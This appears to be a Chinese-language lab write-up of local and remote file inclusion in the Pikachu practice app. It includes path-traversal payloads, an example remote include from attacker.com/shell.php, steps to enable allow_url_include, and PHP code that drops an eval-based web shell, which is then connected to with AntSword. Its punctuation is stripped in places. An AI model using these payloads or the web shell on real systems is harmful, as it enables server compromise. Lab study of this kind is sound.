Pikachu之文件包含
File Inclusion(Local)文件包含漏洞是程序根据用户输入去加载包含一个文件但没有做好限制导致攻击者可以让程序加载本不应该加载的文件。假设网站有三个文件index.php news.php about.phpindex.php里面有这样的代码?php $page$_GET[page]; include($page); ?include()把另一个文件拿过来执行比如index.php?pagenews.php就是include(news.php);网页显示新闻页面如果是index.php?pageabout.php那么就是include(about.php);那么我们可以通过控制?page来进行非法输入?page../../../../Windows/win.ini来读取系统文件我们来尝试去读取我放在桌面上的flag.txthttp://pikachu.com/vul/fileinclude/fi_local.php?filenamefile1.phpsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2fi_local.php?filenamefile1.php我们修改file1.php为C:\Users\Z\Desktop\flag.txt发现报错查看报错include()函数里面在我们的路径前面拼接了一个include/路径因为include路径里面没有C:\Users\Z\Desktop\flag.txt所以报错了include(“include/用户输入”)?filename..\..\..\..\..\..\..\..\..\..\..\..\..\..\Users\Z\Desktop\flag.txt我们可以多输一些来确保回到根目录File Inclusion(remoto)我们打开会看到有一行红色报错提示我们去打开allow_url_include这个是默认关闭的为什么这个是默认关闭的因为allow_url_include Off是不允许 include 一个 URL这很危险因为后台include($_GET[filename]);攻击者filenamehttp://attacker.com/shell.php这样就会被拿到权限PHP 从 5.x 开始默认关闭我们打开php.ini路径为下打开pikachu正在使用的php版本找到php.iniphpstudy_pro\Extensions\php\php5.6.9nts搜索allow_url_include,改为On并保存退出刷新页面就好了我们在pikachu_pro\WWW目录下放置一个test.php里面有我们的生成一句话木马?php $dir dirname($_SERVER[SCRIPT_FILENAME]); file_put_contents($dir . /shell.php, ?php eval(\$_POST[\Z\]);?); echo $dir . /shell.php; ?访问使用蚁剑进行连接因为生成在了D:/phpstudy_pro/WWW/shell.php所以url填的是127.0.0.1/shell.php密码为Z